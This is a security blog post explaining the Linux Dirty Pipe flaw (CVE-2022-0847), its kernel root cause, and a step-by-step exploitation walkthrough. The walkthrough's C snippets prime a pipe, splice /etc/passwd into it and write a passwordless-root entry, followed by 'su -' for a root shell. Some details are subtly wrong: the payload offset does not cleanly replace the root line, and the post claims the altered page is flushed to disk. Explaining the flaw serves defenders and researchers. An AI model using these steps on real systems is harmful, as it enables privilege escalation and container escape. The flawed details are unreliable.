Linux Kernel Dirty Pipe: Deconstructing Page Cache Overwrite Mechanics

Linux Kernel Dirty Pipe: Deconstructing Page Cache Overwrite Mechanics

Overview & Threat Landscape#

In the domain of operating system kernel security, file permissions are considered the most fundamental primitive of Discretionary Access Control (DAC). Regardless of whether an unprivileged user process operates within a standard shell, an unprivileged user namespace, or a restricted container sandbox, the Linux Virtual File System (VFS) strictly prevents write operations to read-only files, configuration stores (/etc/passwd), and setuid-root binaries.

However, in March 2022, security researcher Max Kellermann uncovered CVE-2022-0847, widely known as Dirty Pipe. Affecting Linux kernel versions 5.8 through 5.16.10, Dirty Pipe represents one of the cleanest and most consequential local privilege escalation (LPE) vulnerabilities discovered in the modern Linux kernel. By exploiting an uninitialized flag in the kernel's pipe buffer ring, an unprivileged process can overwrite cached page frames belonging to arbitrary read-only files on disk.

Dirty Pipe fundamentally transformed the systems engineering and threat modeling calculus:

  • Complete Bypass of VFS Permission Checks: Traditional write operations pass through the VFS permission layer (vfs_write()), which verifies file mode bits, POSIX capabilities, and inode flags. Dirty Pipe completely circumvents the VFS write path. The overwrite occurs directly within the kernel's memory management subsystem via the Page Cache, converting read-only memory pages into writable buffers.
  • Instantaneous Root Escalation: Unlike complex heap spray or use-after-free exploits that depend on probabilistic slab layout manipulation, Dirty Pipe is 100% deterministic. An unprivileged local attacker can overwrite /etc/passwd to clear the root password hash, patch /usr/bin/su in memory, or inject shellcode into active system libraries (libc.so) in milliseconds.
  • Container Sandbox Breakouts: In containerized environments (Docker, Kubernetes, Podman), containers frequently mount host files or base image layers as read-only volumes. Because the Linux page cache is shared globally across all namespaces on the host kernel, an unprivileged container process exploiting Dirty Pipe mutates the host's underlying page cache, enabling immediate container escape and host takeover.

[!WARNING] Dirty Pipe does not corrupt kernel heap metadata, trigger kernel panics, or require elevated capabilities like CAP_SYS_ADMIN. It weaponizes a benign kernel optimization (PIPE_BUF_FLAG_CAN_MERGE) to turn the kernel's zero-copy I/O subsystem against itself.


Vulnerability & Attack Root-Cause Analysis#

To deconstruct the root cause of CVE-2022-0847, we must examine the internal architecture of Linux pipe buffers, the lifecycle of page cache frames, and the missing initialization bug in copy_page_to_iter_pipe().

Linux Pipe Architecture and Ring Buffers#

In the Linux kernel, a pipe is represented by struct pipe_inode_info (defined in include/linux/pipe_fs_i.h). A pipe manages a circular ring of buffer descriptors (struct pipe_buffer):

C
struct pipe_buffer {
    struct page *page;                    // Pointer to the physical memory page
    unsigned int offset, len;             // Offset and length of valid data in the page
    const struct pipe_buf_operations *ops;// Operations vector (release, steal, get)
    unsigned int flags;                   // Buffer state flags (PIPE_BUF_FLAG_*)
    unsigned long private;
};

By default, modern Linux pipes contain a ring of 16 buffer slots (PIPE_DEF_BUFFERS).

In Linux 5.8, commit f6dd975514f0 refactored pipe buffer flags, introducing the flag PIPE_BUF_FLAG_CAN_MERGE (0x10). This flag is a performance optimization: when data is written to a pipe, if the last buffer in the ring has space remaining and has PIPE_BUF_FLAG_CAN_MERGE set, the kernel appends new incoming bytes directly into the existing page instead of allocating a fresh 4KB page frame.

The Stale Flag Vulnerability: copy_page_to_iter_pipe#

When an unprivileged process writes data to an anonymous pipe, pipe_write() allocates an anonymous page and sets buf->flags = PIPE_BUF_FLAG_CAN_MERGE.

When a reader consumes this data via pipe_read(), the kernel updates buf->offset and decrements buf->len. When all bytes are consumed (buf->len == 0), the page reference is released. However, pipe_read() did not reset buf->flags to zero. The stale PIPE_BUF_FLAG_CAN_MERGE flag remained lingering in the pipe buffer descriptor slot.

Subsequently, Linux supports the splice() system call, which implements zero-copy data streaming between a file descriptor and a pipe. When splice() streams data from a disk file into a pipe, it invokes copy_page_to_iter_pipe() (in lib/iov_iter.c):

C
// Vulnerable implementation in Linux 5.8 through 5.16.10 (lib/iov_iter.c)
static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t bytes,
                                     struct iov_iter *i)
{
    struct pipe_inode_info *pipe = i->pipe;
    struct pipe_buffer *buf;
    unsigned int head = pipe->head;

    // Allocate next buffer slot in the ring
    buf = &pipe->bufs[head & (pipe->ring_size - 1)];

    // Populate page cache references
    buf->ops = &page_cache_pipe_buf_ops;
    get_page(page);
    buf->page = page;          // Mapped directly to the disk file's page cache!
    buf->offset = offset;
    buf->len = bytes;

    // ROOT CAUSE: buf->flags IS NEVER INITIALIZED HERE!
    // Stale PIPE_BUF_FLAG_CAN_MERGE remains set from previous writes!

    pipe->head = head + 1;
    return bytes;
}

As shown in the vulnerable code above, copy_page_to_iter_pipe() initialized buf->page, buf->offset, buf->len, and buf->ops. However, it completely neglected to initialize buf->flags.

If the slot previously held an anonymous buffer with PIPE_BUF_FLAG_CAN_MERGE, that flag remained active—even though buf->page now pointed directly to a shared, read-only kernel page cache frame backed by an on-disk executable or configuration file!

The Illegal In-Memory Overwrite#

When the process subsequently issues a standard write() system call to the pipe, the kernel's pipe_write() executes the merge logic:

C
// fs/pipe.c: pipe_write()
if (buf->len && (buf->flags & PIPE_BUF_FLAG_CAN_MERGE)) {
    // Write directly into the existing page!
    void *addr = kmap_atomic(buf->page);
    memcpy(addr + buf->offset + buf->len, from, bytes);
    kunmap_atomic(addr);
    buf->len += bytes;
    return bytes;
}

Because PIPE_BUF_FLAG_CAN_MERGE evaluates to true, the kernel does not allocate a new anonymous page. It maps buf->page (the read-only file's cached page frame) into kernel memory and copies the attacker's payload directly into it!

The page frame is marked dirty (SetPageDirty(page)). Because the page cache is shared across the entire system, every process that reads the target file immediately observes the attacker's overwritten data, bypassing all VFS permissions.


Exploit Architecture#

The sequence diagram below illustrates the exact state transitions of the kernel pipe buffer ring during Dirty Pipe exploitation:

sequenceDiagram
    autonumber
    actor Attacker as Unprivileged Process (UID 1000)
    participant VFS as Linux VFS Subsystem
    participant Pipe as Kernel Pipe Ring (fs/pipe.c)
    participant PageCache as Linux Page Cache (struct page)
    participant Disk as Underlying Filesystem (/etc/passwd)

    Note over Attacker,Pipe: Phase 1: Priming Pipe Buffer Ring
    Attacker->>Pipe: pipe(pipefd) -> Create 16-slot ring
    Attacker->>Pipe: write(65536 bytes) -> Fill all 16 buffers
    Note over Pipe: All slots set: flags = PIPE_BUF_FLAG_CAN_MERGE (0x10)
    Attacker->>Pipe: read(65536 bytes) -> Drain all buffers
    Note over Pipe: len = 0, but flags remain 0x10 (Stale Flag Primitive)

    Note over Attacker,PageCache: Phase 2: Zero-Copy Page Splicing
    Attacker->>VFS: open("/etc/passwd", O_RDONLY)
    VFS-->>Attacker: Return Read-Only fd
    Attacker->>Pipe: splice("fd, offset=0, pipefd[1], len=1")
    Note over Pipe: copy_page_to_iter_pipe() assigns page cache frame
    Note over Pipe: BUG: flags NOT cleared! Retains 0x10!

    Note over Attacker,PageCache: Phase 3: Merged Page Cache Overwrite
    Attacker->>Pipe: write("root::0:0:root:/root:/bin/sh
")
    critical Merge Check Evaluates True
        Pipe->>Pipe: Check (buf->flags & PIPE_BUF_FLAG_CAN_MERGE)
        Note over Pipe: Flag is 0x10 -> Append directly into buf->page!
        Pipe->>PageCache: memcpy(buf->page + 1, payload)
    end
    Note over PageCache: /etc/passwd Page Frame is Mutated in Memory!

    Note over Attacker,Disk: Phase 4: Root Privilege Acquisition
    PageCache-->>Disk: kswapd / flusher writes dirty page to disk
    Attacker->>VFS: execve("su", ["-"]) -> Root password is NULL!
    VFS-->>Attacker: Elevated Shell: UID 0 (root)

Attack Path Step-by-Step#

Understanding the discrete execution phases of Dirty Pipe enables systems engineers, detection developers, and incident responders to identify active exploitation, analyze memory artifacts, and deploy kernel-level mitigations.

Step 1: Priming the Pipe Buffer Ring#

The exploit begins by allocating a standard unidirectional pipe via pipe(). Under Linux default configurations, a pipe ring contains 16 buffers, each representing a 4096-byte page frame (total capacity: 65,536 bytes).

The process writes exactly 65,536 bytes to populate every descriptor in the ring:

C
// Priming the pipe to set PIPE_BUF_FLAG_CAN_MERGE across all descriptors
int p[2];
pipe(p);

// Step A: Fill all pipe buffers with arbitrary bytes
char buffer[4096];
memset(buffer, 'A', sizeof(buffer));
for (int i = 0; i < 16; i++) {
    write(p[1], buffer, sizeof(buffer));
}

// Step B: Drain the pipe completely
for (int i = 0; i < 16; i++) {
    read(p[0], buffer, sizeof(buffer));
}

Following the drain, pipe->bufs[i].len equals 0, but pipe->bufs[i].flags still retains 0x10 (PIPE_BUF_FLAG_CAN_MERGE).

Step 2: Splicing Target Read-Only Page Frames#

The adversary opens the target read-only file (e.g., /etc/passwd) using O_RDONLY and invokes splice() to pull a single byte from the target file into the write end of the primed pipe:

C
// Splicing target file page cache into the primed pipe
int target_fd = open("/etc/passwd", O_RDONLY);
loff_t offset = 0; // Target offset (start of file)

// Splice 1 byte from /etc/passwd into the pipe
ssize_t spliced = splice(target_fd, &offset, p[1], NULL, 1, 0);

Internally, splice() executes copy_page_to_iter_pipe(). The descriptor pipe->bufs[head] is populated with:

  • page: Pointer to the physical page frame caching /etc/passwd.
  • offset: 0.
  • len: 1.
  • flags: Stale 0x10 (PIPE_BUF_FLAG_CAN_MERGE).

Step 3: Triggering the Memory Overwrite via write()#

The process now writes its replacement payload to the write end of the pipe:

C
// Payload designed to replace "root:x:0:0:" with passwordless root
const char *payload = "root::0:0:root:/root:/bin/sh
";
write(p[1], payload, strlen(payload));

Because PIPE_BUF_FLAG_CAN_MERGE is active, pipe_write() appends the string directly into buf->page + 1 (immediately following the spliced byte). The Linux page cache now contains a modified version of /etc/passwd in which root has no password set.

Step 4: Spawning the Root Shell#

Because the Linux authentication stack (pam_unix.so) reads /etc/passwd directly through the page cache, any process reading the file immediately encounters the passwordless root entry:

BASH
# Invoking su without a password to spawn an elevated shell
su -
# Verified: uid=0(root) gid=0(root) groups=0(root)

The attacker attains interactive root execution instantly without crashing the kernel or triggering standard file-modification events.


Fast Cyber Defense Morning Takeaways#

  1. Memory Management Bypasses File Permissions: In Linux, file permissions are enforced by the VFS layer, but Dirty Pipe operates inside the memory page cache. Once a page frame is marked mergeable, the kernel writes into it regardless of whether the originating file descriptor was opened read-only.
  2. Deterministic Exploitability: Unlike heap-based memory corruption vulnerabilities that require delicate heap shaping, Dirty Pipe exploits a deterministic logic flaw in a core data structure, making weaponization trivial and instantaneous across all unpatched kernels.
  3. Container Isolation Failure: Shared host kernel page caches breach container boundaries. Any container sharing read-only host mounts can write directly into host files.

In tonight's Evening Defense Guide (EDITION 2), we will engineer comprehensive blue team defenses:

  • Deploying the official upstream kernel patch (fs/pipe.c and lib/iov_iter.c) that explicitly initializes buf->flags = 0.
  • Implementing Integrity Measurement Architecture (IMA) policies to detect unauthorized in-memory page modifications.
  • Developing production eBPF probes (via BCC and bpftrace) to trace anomalous splice() system calls followed immediately by unaligned write() operations on sensitive system inodes.
  • Restricting container capabilities and configuring read-only root filesystems using overlayfs with copy-up boundaries.

Authoritative References#

  1. Max Kellermann Research: The Dirty Pipe Vulnerability (CVE-2022-0847) — CM4all Security Research
  2. Linux Kernel Git Repository: Commit 9d223a2e44b6: lib/iov_iter: initialize "flags" in copy_page_to_iter_pipe() — Kernel.org Git
  3. National Vulnerability Database (NVD): CVE-2022-0847 Detail: Linux Kernel Dirty Pipe Local Privilege Escalation — NIST NVD
  4. Cybersecurity and Infrastructure Security Agency (CISA): Known Exploited Vulnerabilities Catalog - CVE-2022-0847 — CISA KEV

Comments